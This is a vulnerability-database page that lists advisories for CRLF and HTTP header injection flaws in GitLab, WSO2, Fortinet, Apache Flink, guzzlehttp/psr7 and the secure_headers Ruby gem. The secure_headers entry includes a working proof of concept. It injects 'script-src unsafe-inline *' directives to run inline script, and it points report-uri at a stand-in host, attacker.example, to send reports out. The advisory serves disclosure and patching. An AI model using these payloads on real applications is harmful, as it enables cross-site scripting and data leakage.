Common Weakness Enumeration

CWE-113

Allowed

Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

Abstraction: Variant · Status: Incomplete

The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

191 vulnerabilities reference this CWE, most recent first.

GHSA-QX55-2CP2-7PPQ

Vulnerability from github – Published: 2023-06-07 18:30 – Updated: 2024-04-04 04:39

Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. Open redirection was possible via HTTP response splitting in the NPM package API.

Severity

3.1 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-0508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-07T17:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. Open redirection was possible via HTTP response splitting in the NPM package API.",
  "id": "GHSA-qx55-2cp2-7ppq",
  "modified": "2024-04-04T04:39:35Z",
  "published": "2023-06-07T18:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0508"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1842314"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-0508.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/389328"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQQ5-2GF9-4W4Q

Vulnerability from github – Published: 2026-07-10 20:37 – Updated: 2026-07-10 20:37

Summary

Secure Headers: CSP directive injection via sandbox, plugin_types, and report_to when given untrusted input

Details

Summary

secure_headers builds the Content-Security-Policy value by stitching every configured directive together with ; separators. Three directive builders (build_sandbox_list_directive, build_media_type_list_directive, build_report_to_directive) interpolate caller-supplied strings into that value without scrubbing ;, \r, or \n.

When an application forwards untrusted input into SecureHeaders.override_content_security_policy_directives (or append_…) for :sandbox, :plugin_types, or :report_to, an attacker can embed a literal ; and inject an arbitrary CSP directive into the header value. Because :sandbox and :plugin_types both sort alphabetically before :script_src in BODY_DIRECTIVES, the injected script-src lands earlier in the header and wins under the CSP first-occurrence rule, defeating the application's real script-src. End result: an 'unsafe-inline' * policy is forced for inline <script> despite the configured strict CSP, giving full XSS reachability anywhere reflected or stored content meets one of these three sinks.

An existing ;/\n scrub is already present in the source-list builder (build_source_list_directive), but the three sibling builders here never received the same treatment and still emit caller bytes verbatim into the CSP value.

Impact

Although piping untrusted input into CSP directives is generally discouraged, applications that do so for one of the three uncovered directives turn that endpoint into an XSS sink with an effective * 'unsafe-inline' script-src, even though the global config says script_src: %w('self'). The same primitive can also be used to point report-to / report-uri at attacker infrastructure to silently siphon CSP violation reports — which include the violated URL, blocked-uri, source-file, line-number and a sample-snippet, useful for fingerprinting and for harvesting victim-internal URLs.

The global default CSP set in Configuration.default is supposed to be a backstop: even if a controller appends a single risky value, the strict script-src should remain the first match. This bug breaks that property by letting the appended value redefine the policy header upstream of the legitimate script-src.

Affected

Package: secure_headers (RubyGems)
Vulnerable versions: <= 7.2.0
Patched version: 7.3.0

Applications that set :sandbox, :plugin_types, or :report_to only from static configuration (no per-request or per-tenant input) are not exploitable and need only the version bump. Applications that pipe any user-controlled value into one of those three directives via the per-controller override APIs are exploitable and should both upgrade and audit those code paths.

Mitigations / Workarounds

Until upgrading to 7.3.0, sanitize any user-controlled input before passing it to:

SecureHeaders.override_content_security_policy_directives
SecureHeaders.append_content_security_policy_directives
SecureHeaders.use_content_security_policy_named_append

for :sandbox, :plugin_types, or :report_to. Reject or strip ;, \r, and \n from values destined for these directives before they reach the gem.

Vulnerable code

Three sibling builders all join an attacker-controllable value into the CSP header value with no ; / \r / \n scrubbing.

content_security_policy.rb#L72-L93 — build_sandbox_list_directive:

elsif sandbox_list && sandbox_list.any?
  [
    symbol_to_hyphen_case(directive),
    sandbox_list.uniq
  ].join(" ")
end

content_security_policy.rb#L95-L103 — build_media_type_list_directive (same pattern, for plugin-types).
content_security_policy.rb#L105-L110 — build_report_to_directive:

def build_report_to_directive(directive)
  return unless endpoint_name = @config.directive_value(directive)
  if endpoint_name && endpoint_name.is_a?(String) && !endpoint_name.empty?
    [symbol_to_hyphen_case(directive), endpoint_name].join(" ")
  end
end

For comparison, content_security_policy.rb#L117-L129 shows the source-list builder that already performs the scrub the three above are missing.

Validation also does not catch it:

policy_management.rb#L361-L371 — validate_sandbox_expression! only checks v.start_with?("allow-"), so "allow-scripts allow-same-origin; script-src 'unsafe-inline' *" passes.
policy_management.rb#L376-L385 — validate_media_type_expression! uses /\A.+\/.+\z/; . matches ; and ', so "application/x-foo; script-src 'unsafe-inline' *" passes.
policy_management.rb#L410-L417 — validate_report_to_endpoint_expression! only checks String + non-empty.

Reachable

The three sinks are reached by the documented public override APIs in lib/secure_headers.rb#L61-L106 — override_content_security_policy_directives, append_content_security_policy_directives, and use_content_security_policy_named_append. These are the documented per-controller hooks Rails apps use to vary CSP per request (e.g. allowing an iframe domain that a user just configured, sandboxing a per-tenant subdocument, or wiring up a per-tenant reporting endpoint).

Concrete reachable shapes:

Multi-tenant SaaS persisting a tenant-chosen iframe sandbox policy and replaying it via override_content_security_policy_directives(sandbox: [tenant.sandbox_tokens]).
Document / PDF viewer that allows tenants to whitelist a custom MIME via plugin_types: [tenant.allowed_mime].
Reporting integration that lets the operator name the active reporting group through an admin UI and forwards it via report_to: params[:report_group].

In all three patterns, a string field that the app expects to be a single token (allow-forms, application/pdf, default) is the injection point.

Proof of concept

Pinned reproduction against a minimal Rack app on secure_headers 7.2.0, rack 3.2.6, rackup 2.3.1, webrick 1.9.2. Browser verification uses headless Chromium.

Install (Bundler):

# Gemfile
source "https://rubygems.org"
gem "secure_headers", "= 7.2.0"
gem "rack",           "= 3.2.6"
gem "rackup",         "= 2.3.1"
gem "webrick", "= 1.9.2"

bundle install

Driver (poc_e2e.rb):

require "rack"
require "webrick"
require "rackup"
require "rackup/handler/webrick"
require "secure_headers"

SecureHeaders::Configuration.default do |c|
  c.csp = {default_src: %w('self'), script_src: %w('self'), style_src: %w('self')}
end

INLINE_XSS = "<script>document.body.appendChild(Object.assign(" \
             "document.createElement('div'),{id:'pwn',innerText:" \
             "'XSS-EXECUTED via '+location.pathname}));</script>"

class App
  def call(env)
    req = Rack::Request.new(env)
    case req.path_info
    when "/sandbox"  # Vector A
      SecureHeaders.override_content_security_policy_directives(req,
        sandbox: ["allow-scripts allow-same-origin; script-src 'unsafe-inline' *"])
    when "/plugin"   # Vector B
      SecureHeaders.override_content_security_policy_directives(req,
        plugin_types: ["application/x-foo; script-src 'unsafe-inline' *"])
    when "/report"   # Vector C (report-uri exfil)
      SecureHeaders.override_content_security_policy_directives(req,
        report_to: "default; report-uri https://attacker.example/leak")
    when "/control"  # Negative — same payload on a source_list directive
      SecureHeaders.override_content_security_policy_directives(req,
        frame_src: ["'self'", "evil.example; script-src 'unsafe-inline' *"])
    end
    body = "<!doctype html>#{INLINE_XSS}"
    [200, {"content-type"=>"text/html"}.merge(SecureHeaders.header_hash_for(req)), [body]]
  end
end

Rackup::Handler::WEBrick.run(
  Rack::Builder.new { use SecureHeaders::Middleware; run App.new },
  Host: "127.0.0.1", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))

Run:

bundle exec ruby poc_e2e.rb

End-to-end reproduction against `secure_headers 7.2.0`

Server-side observation (curl -s -D - http://127.0.0.1:14567/<path>):

GET /sandbox  -> content-security-policy:
    default-src 'self'; sandbox allow-scripts allow-same-origin;
    script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'

GET /plugin   -> content-security-policy:
    default-src 'self'; plugin-types application/x-foo;
    script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'

GET /report   -> content-security-policy:
    default-src 'self'; script-src 'self'; style-src 'self';
    report-to default; report-uri https://attacker.example/leak

GET /control  -> content-security-policy:
    default-src 'self'; frame-src 'self' evil.example  script-src
    'unsafe-inline' *; script-src 'self'; style-src 'self'

Browser verification (headless Chromium, --dump-dom, grep for the injected id="pwn" element which is only present if the inline <script> actually ran):

GET /sandbox  -> pwn element PRESENT  (XSS executed, injected script-src wins)
GET /plugin   -> pwn element PRESENT  (XSS executed, injected script-src wins)
GET /report   -> pwn element absent   (this vector enables report-uri exfil,
                                       not script execution by itself)
GET /control  -> pwn element absent   (existing scrub on the source-list
                                       builder rewrites ; -> space, so the
                                       legitimate `script-src 'self'` is
                                       still the first match)

Patched-build verification: applying the patch and re-running the same three vectors flips /sandbox and /plugin to "pwn element absent". The injected ; is replaced with a space, so the trailing script-src 'unsafe-inline' * collapses into the parent directive's value list instead of becoming a sibling directive, and the legitimate script-src 'self' stays the first script-src the parser encounters.

Patch

Shipped in 7.3.0 as a private helper that scrubs ;, \r, and \n from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.

Sketch of the shipped change in lib/secure_headers/headers/content_security_policy.rb:

DIRECTIVE_INJECTION_REGEX = /[\n\r;]/.freeze

def scrub_directive_value(directive, value)
  str = value.to_s
  if str =~ DIRECTIVE_INJECTION_REGEX
    Kernel.warn("#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.")
    str.gsub(DIRECTIVE_INJECTION_REGEX, " ")
  else
    str
  end
end

The helper is invoked from each builder against the joined directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.

See the merged fix PR for the full patch and tests.

Credit

Reported by @tonghuaroot.

Resources

CVE-2020-5217 — prior secure_headers advisory for the same bug class on build_source_list_directive (the 2020 fix that motivated the helper this advisory extends).
W3C CSP Level 3 — Parse a serialized CSP — defines the first-occurrence rule that makes the alphabetical-ordering exploit work.
RFC 7230 §3.2.4 — Field parsing — context for why bare \r / \n in HTTP header values are unsafe regardless of directive separator semantics.

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T20:37:15Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`secure_headers` builds the `Content-Security-Policy` value by stitching every configured directive together with `; ` separators. Three directive builders (`build_sandbox_list_directive`, `build_media_type_list_directive`, `build_report_to_directive`) interpolate caller-supplied strings into that value without scrubbing `;`, `\\r`, or `\\n`.\n\nWhen an application forwards untrusted input into `SecureHeaders.override_content_security_policy_directives` (or `append_\u2026`) for `:sandbox`, `:plugin_types`, or `:report_to`, an attacker can embed a literal `;` and inject an arbitrary CSP directive into the header value. Because `:sandbox` and `:plugin_types` both sort alphabetically before `:script_src` in `BODY_DIRECTIVES`, the injected `script-src` lands earlier in the header and wins under the [CSP first-occurrence rule](https://www.w3.org/TR/CSP3/#parse-serialized-policy), defeating the application\u0027s real `script-src`. End result: an `\u0027unsafe-inline\u0027 *` policy is forced for inline `\u003cscript\u003e` despite the configured strict CSP, giving full XSS reachability anywhere reflected or stored content meets one of these three sinks.\n\nAn existing `;`/`\\n` scrub is already present in the source-list builder (`build_source_list_directive`), but the three sibling builders here never received the same treatment and still emit caller bytes verbatim into the CSP value.\n\n## Impact\n\nAlthough piping untrusted input into CSP directives is generally discouraged, applications that do so for one of the three uncovered directives turn that endpoint into an XSS sink with an effective `*` `\u0027unsafe-inline\u0027` `script-src`, even though the global config says `script_src: %w(\u0027self\u0027)`. The same primitive can also be used to point `report-to` / `report-uri` at attacker infrastructure to silently siphon CSP violation reports \u2014 which include the violated URL, blocked-uri, source-file, line-number and a sample-snippet, useful for fingerprinting and for harvesting victim-internal URLs.\n\nThe global default CSP set in `Configuration.default` is supposed to be a backstop: even if a controller appends a single risky value, the strict `script-src` should remain the first match. This bug breaks that property by letting the appended value redefine the policy header upstream of the legitimate `script-src`.\n\n## Affected\n\n- **Package:** `secure_headers` (RubyGems)\n- **Vulnerable versions:** `\u003c= 7.2.0`\n- **Patched version:** `7.3.0`\n\nApplications that set `:sandbox`, `:plugin_types`, or `:report_to` only from static configuration (no per-request or per-tenant input) are not exploitable and need only the version bump. Applications that pipe any user-controlled value into one of those three directives via the per-controller override APIs are exploitable and should both upgrade and audit those code paths.\n\n## Mitigations / Workarounds\n\nUntil upgrading to **7.3.0**, sanitize any user-controlled input before passing it to:\n\n- `SecureHeaders.override_content_security_policy_directives`\n- `SecureHeaders.append_content_security_policy_directives`\n- `SecureHeaders.use_content_security_policy_named_append`\n\nfor `:sandbox`, `:plugin_types`, or `:report_to`. Reject or strip `;`, `\\r`, and `\\n` from values destined for these directives before they reach the gem.\n\n## Vulnerable code\n\nThree sibling builders all join an attacker-controllable value into the CSP header value with no `;` / `\\r` / `\\n` scrubbing.\n\n- [`content_security_policy.rb#L72-L93`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L72-L93) \u2014 `build_sandbox_list_directive`:\n\n```ruby\nelsif sandbox_list \u0026\u0026 sandbox_list.any?\n  [\n    symbol_to_hyphen_case(directive),\n    sandbox_list.uniq\n  ].join(\" \")\nend\n```\n\n- [`content_security_policy.rb#L95-L103`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L95-L103) \u2014 `build_media_type_list_directive` (same pattern, for `plugin-types`).\n- [`content_security_policy.rb#L105-L110`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L105-L110) \u2014 `build_report_to_directive`:\n\n```ruby\ndef build_report_to_directive(directive)\n  return unless endpoint_name = @config.directive_value(directive)\n  if endpoint_name \u0026\u0026 endpoint_name.is_a?(String) \u0026\u0026 !endpoint_name.empty?\n    [symbol_to_hyphen_case(directive), endpoint_name].join(\" \")\n  end\nend\n```\n\nFor comparison, [`content_security_policy.rb#L117-L129`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L117-L129) shows the source-list builder that already performs the scrub the three above are missing.\n\nValidation also does not catch it:\n\n- [`policy_management.rb#L361-L371`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/policy_management.rb#L361-L371) \u2014 `validate_sandbox_expression!` only checks `v.start_with?(\"allow-\")`, so `\"allow-scripts allow-same-origin; script-src \u0027unsafe-inline\u0027 *\"` passes.\n- [`policy_management.rb#L376-L385`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/policy_management.rb#L376-L385) \u2014 `validate_media_type_expression!` uses `/\\A.+\\/.+\\z/`; `.` matches `;` and `\u0027`, so `\"application/x-foo; script-src \u0027unsafe-inline\u0027 *\"` passes.\n- [`policy_management.rb#L410-L417`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/policy_management.rb#L410-L417) \u2014 `validate_report_to_endpoint_expression!` only checks `String` + non-empty.\n\n## Reachable\n\nThe three sinks are reached by the documented public override APIs in [`lib/secure_headers.rb#L61-L106`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers.rb#L61-L106) \u2014 `override_content_security_policy_directives`, `append_content_security_policy_directives`, and `use_content_security_policy_named_append`. These are the documented per-controller hooks Rails apps use to vary CSP per request (e.g. allowing an iframe domain that a user just configured, sandboxing a per-tenant subdocument, or wiring up a per-tenant reporting endpoint).\n\nConcrete reachable shapes:\n\n1. Multi-tenant SaaS persisting a tenant-chosen iframe sandbox policy and replaying it via `override_content_security_policy_directives(sandbox: [tenant.sandbox_tokens])`.\n2. Document / PDF viewer that allows tenants to whitelist a custom MIME via `plugin_types: [tenant.allowed_mime]`.\n3. Reporting integration that lets the operator name the active reporting group through an admin UI and forwards it via `report_to: params[:report_group]`.\n\nIn all three patterns, a string field that the app expects to be a single token (`allow-forms`, `application/pdf`, `default`) is the injection point.\n\n## Proof of concept\n\nPinned reproduction against a minimal Rack app on `secure_headers 7.2.0`, `rack 3.2.6`, `rackup 2.3.1`, `webrick 1.9.2`. Browser verification uses headless Chromium.\n\nInstall (Bundler):\n\n```ruby\n# Gemfile\nsource \"https://rubygems.org\"\ngem \"secure_headers\", \"= 7.2.0\"\ngem \"rack\",           \"= 3.2.6\"\ngem \"rackup\",         \"= 2.3.1\"\ngem \"webrick\", \"= 1.9.2\"\n```\n\n```bash\nbundle install\n```\n\nDriver (`poc_e2e.rb`):\n\n```ruby\nrequire \"rack\"\nrequire \"webrick\"\nrequire \"rackup\"\nrequire \"rackup/handler/webrick\"\nrequire \"secure_headers\"\n\nSecureHeaders::Configuration.default do |c|\n  c.csp = {default_src: %w(\u0027self\u0027), script_src: %w(\u0027self\u0027), style_src: %w(\u0027self\u0027)}\nend\n\nINLINE_XSS = \"\u003cscript\u003edocument.body.appendChild(Object.assign(\" \\\n             \"document.createElement(\u0027div\u0027),{id:\u0027pwn\u0027,innerText:\" \\\n             \"\u0027XSS-EXECUTED via \u0027+location.pathname}));\u003c/script\u003e\"\n\nclass App\n  def call(env)\n    req = Rack::Request.new(env)\n    case req.path_info\n    when \"/sandbox\"  # Vector A\n      SecureHeaders.override_content_security_policy_directives(req,\n        sandbox: [\"allow-scripts allow-same-origin; script-src \u0027unsafe-inline\u0027 *\"])\n    when \"/plugin\"   # Vector B\n      SecureHeaders.override_content_security_policy_directives(req,\n        plugin_types: [\"application/x-foo; script-src \u0027unsafe-inline\u0027 *\"])\n    when \"/report\"   # Vector C (report-uri exfil)\n      SecureHeaders.override_content_security_policy_directives(req,\n        report_to: \"default; report-uri https://attacker.example/leak\")\n    when \"/control\"  # Negative \u2014 same payload on a source_list directive\n      SecureHeaders.override_content_security_policy_directives(req,\n        frame_src: [\"\u0027self\u0027\", \"evil.example; script-src \u0027unsafe-inline\u0027 *\"])\n    end\n    body = \"\u003c!doctype html\u003e#{INLINE_XSS}\"\n    [200, {\"content-type\"=\u003e\"text/html\"}.merge(SecureHeaders.header_hash_for(req)), [body]]\n  end\nend\n\nRackup::Handler::WEBrick.run(\n  Rack::Builder.new { use SecureHeaders::Middleware; run App.new },\n  Host: \"127.0.0.1\", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))\n```\n\nRun:\n\n```bash\nbundle exec ruby poc_e2e.rb\n```\n\n### End-to-end reproduction against `secure_headers 7.2.0`\n\nServer-side observation (`curl -s -D - http://127.0.0.1:14567/\u003cpath\u003e`):\n\n```\nGET /sandbox  -\u003e content-security-policy:\n    default-src \u0027self\u0027; sandbox allow-scripts allow-same-origin;\n    script-src \u0027unsafe-inline\u0027 *; script-src \u0027self\u0027; style-src \u0027self\u0027\n\nGET /plugin   -\u003e content-security-policy:\n    default-src \u0027self\u0027; plugin-types application/x-foo;\n    script-src \u0027unsafe-inline\u0027 *; script-src \u0027self\u0027; style-src \u0027self\u0027\n\nGET /report   -\u003e content-security-policy:\n    default-src \u0027self\u0027; script-src \u0027self\u0027; style-src \u0027self\u0027;\n    report-to default; report-uri https://attacker.example/leak\n\nGET /control  -\u003e content-security-policy:\n    default-src \u0027self\u0027; frame-src \u0027self\u0027 evil.example  script-src\n    \u0027unsafe-inline\u0027 *; script-src \u0027self\u0027; style-src \u0027self\u0027\n```\n\nBrowser verification (headless Chromium, `--dump-dom`, grep for the injected `id=\"pwn\"` element which is only present if the inline `\u003cscript\u003e` actually ran):\n\n```\nGET /sandbox  -\u003e pwn element PRESENT  (XSS executed, injected script-src wins)\nGET /plugin   -\u003e pwn element PRESENT  (XSS executed, injected script-src wins)\nGET /report   -\u003e pwn element absent   (this vector enables report-uri exfil,\n                                       not script execution by itself)\nGET /control  -\u003e pwn element absent   (existing scrub on the source-list\n                                       builder rewrites ; -\u003e space, so the\n                                       legitimate `script-src \u0027self\u0027` is\n                                       still the first match)\n```\n\nPatched-build verification: applying the patch and re-running the same three vectors flips `/sandbox` and `/plugin` to \"pwn element absent\". The injected `;` is replaced with a space, so the trailing `script-src \u0027unsafe-inline\u0027 *` collapses into the parent directive\u0027s value list instead of becoming a sibling directive, and the legitimate `script-src \u0027self\u0027` stays the first `script-src` the parser encounters.\n\n## Patch\n\nShipped in **7.3.0** as a private helper that scrubs `;`, `\\r`, and `\\n` from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.\n\nSketch of the shipped change in `lib/secure_headers/headers/content_security_policy.rb`:\n\n```ruby\nDIRECTIVE_INJECTION_REGEX = /[\\n\\r;]/.freeze\n\ndef scrub_directive_value(directive, value)\n  str = value.to_s\n  if str =~ DIRECTIVE_INJECTION_REGEX\n    Kernel.warn(\"#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.\")\n    str.gsub(DIRECTIVE_INJECTION_REGEX, \" \")\n  else\n    str\n  end\nend\n```\n\nThe helper is invoked from each builder against the **joined** directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.\n\nSee the merged fix PR for the full patch and tests.\n\n## Credit\n\nReported by [@tonghuaroot](https://github.com/tonghuaroot).\n\n## Resources\n\n- CVE-2020-5217 \u2014 prior `secure_headers` advisory for the same bug class on `build_source_list_directive` (the 2020 fix that motivated the helper this advisory extends).\n- [W3C CSP Level 3 \u2014 Parse a serialized CSP](https://www.w3.org/TR/CSP3/#parse-serialized-policy) \u2014 defines the first-occurrence rule that makes the alphabetical-ordering exploit work.\n- [RFC 7230 \u00a73.2.4 \u2014 Field parsing](https://www.rfc-editor.org/rfc/rfc7230#section-3.2.4) \u2014 context for why bare `\\r` / `\\n` in HTTP header values are unsafe regardless of directive separator semantics.",
  "id": "GHSA-rqq5-2gf9-4w4q",
  "modified": "2026-07-10T20:37:15Z",
  "published": "2026-07-10T20:37:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/github/secure_headers/security/advisories/GHSA-rqq5-2gf9-4w4q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/github/secure_headers"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2026-54163.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54163"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Secure Headers: CSP directive injection via sandbox, plugin_types, and report_to when given untrusted input"
}

GHSA-RVPC-W57P-Q95F

Vulnerability from github – Published: 2022-02-09 22:35 – Updated: 2021-04-07 21:38

Summary

HTTP Response Splitting in WSO2 transport-http

Details

Netty in WSO2 transport-http before v6.3.1 is vulnerable to HTTP Response Splitting due to HTTP Header validation being disabled.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wso2.transport.http:org.wso2.transport.http.netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10797"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-07T21:38:25Z",
    "nvd_published_at": "2020-02-19T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Netty in WSO2 transport-http before v6.3.1 is vulnerable to HTTP Response Splitting due to HTTP Header validation being disabled.",
  "id": "GHSA-rvpc-w57p-q95f",
  "modified": "2021-04-07T21:38:25Z",
  "published": "2022-02-09T22:35:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10797"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWSO2TRANSPORTHTTP-548944"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTP Response Splitting in WSO2 transport-http"
}

GHSA-V8P8-W9Q2-Q67J

Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-14 15:30

Details

An improper neutralization of crlf sequences in http headers ('http response splitting') in Fortinet FortiOS 7.2.0 through 7.6.0, FortiProxy 7.2.0 through 7.4.5 allows attacker to execute unauthorized code or commands via crafted HTTP header.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2024-54021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T14:15:34Z",
    "severity": "MODERATE"
  },
  "details": "An improper neutralization of crlf sequences in http headers (\u0027http response splitting\u0027) in Fortinet FortiOS 7.2.0 through 7.6.0, FortiProxy 7.2.0 through 7.4.5 allows attacker to execute unauthorized code or commands via crafted HTTP header.",
  "id": "GHSA-v8p8-w9q2-q67j",
  "modified": "2025-01-14T15:30:54Z",
  "published": "2025-01-14T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54021"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-282"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V965-25GX-6H45

Vulnerability from github – Published: 2023-09-19 15:30 – Updated: 2024-04-04 07:43

Details

Improper Neutralization of CRLF Sequences in HTTP Headers in Apache Flink Stateful Functions 3.1.0, 3.1.1 and 3.2.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted HTTP requests. Attackers could potentially inject malicious content into the HTTP response that is sent to the user's browser.

Users should upgrade to Apache Flink Stateful Functions version 3.3.0.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-41834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-74"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-19T13:16:22Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of CRLF Sequences in HTTP Headers in Apache Flink Stateful Functions 3.1.0, 3.1.1 and 3.2.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted HTTP requests.\u00a0Attackers could potentially inject malicious content into the HTTP response that is sent to the user\u0027s browser. \n\nUsers should upgrade to Apache Flink Stateful Functions version 3.3.0.",
  "id": "GHSA-v965-25gx-6h45",
  "modified": "2024-04-04T07:43:57Z",
  "published": "2023-09-19T15:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41834"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/cvxcsdyjqc3lysj1tz7s06zwm36zvwrm"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/09/19/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VM85-HXW5-5432

Vulnerability from github – Published: 2026-06-19 14:35 – Updated: 2026-06-19 14:35

Summary

guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization

Details

Impact

guzzlehttp/psr7 did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with Message::toString() or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through Message::parseRequest() or Message::parseResponse() when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.

